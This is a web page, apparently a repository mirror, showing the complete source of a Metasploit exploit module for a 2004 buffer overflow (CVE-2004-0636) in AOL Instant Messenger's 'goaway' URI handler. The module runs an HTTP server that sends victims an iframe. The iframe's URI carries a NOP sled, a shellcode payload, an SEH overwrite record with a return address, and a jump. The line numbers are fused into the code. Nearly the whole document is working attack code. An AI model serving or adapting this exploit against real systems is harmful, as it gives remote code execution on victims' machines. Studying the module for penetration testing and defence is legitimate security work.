Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/aim_goaway.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78#9# This module acts as an HTTP server and exploits an SEH overwrite10#11include Msf::Exploit::Seh12include Msf::Exploit::Remote::HttpServer::HTML1314def initialize(info = {})15super(update_info(info,16'Name' => 'AOL Instant Messenger goaway Overflow',17'Description' => %q{18This module exploits a flaw in the handling of AOL Instant19Messenger's 'goaway' URI handler. An attacker can execute20arbitrary code by supplying an overly sized buffer as the21'message' parameter. This issue is known to affect AOL Instant22Messenger 5.5.23},24'License' => MSF_LICENSE,25'Author' =>26[27'skape',28'thief <thief[at]hick.org>'29],30'References' =>31[32[ 'CVE', '2004-0636' ],33[ 'OSVDB', '8398' ],34[ 'BID', '10889'],35[ 'URL', 'http://www.idefense.com/application/poi/display?id=121&type=vulnerabilities' ],36],37'Payload' =>38{39'Space' => 1014,40'MaxNops' => 1014,41'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",42'StackAdjustment' => -3500,43},44'Platform' => %w{ win },45'Targets' =>46[47# Target 0: Automatic48[49'Windows NT/2000/XP/2003 Automatic',50{51'Platform' => 'win',52'Rets' =>53[540x1108118f, # proto.com: pop/pop/ret55],56},57],58],59'DefaultTarget' => 0,60'DisclosureDate' => '2004-08-09'))61end6263def on_request_uri(cli, request)64# Re-generate the payload65return if ((p = regenerate_payload(cli)) == nil)6667# Build out the message68msg =69make_nops(1014 - p.encoded.length) + # NOP sled before the payload70p.encoded + # store the payload71generate_seh_record(target['Rets'][0]) + # set up the SEH frame72"\x90\xe9\x13\xfc\xff\xff" # jmp -10007374# Build the HTML content75content = "<html><iframe src='aim:goaway?message=#{msg}'></html>"7677print_status("Sending #{self.name}")7879# Transmit the response to the client80send_response_html(cli, content)8182# Handle the payload83handler(cli)84end85end868788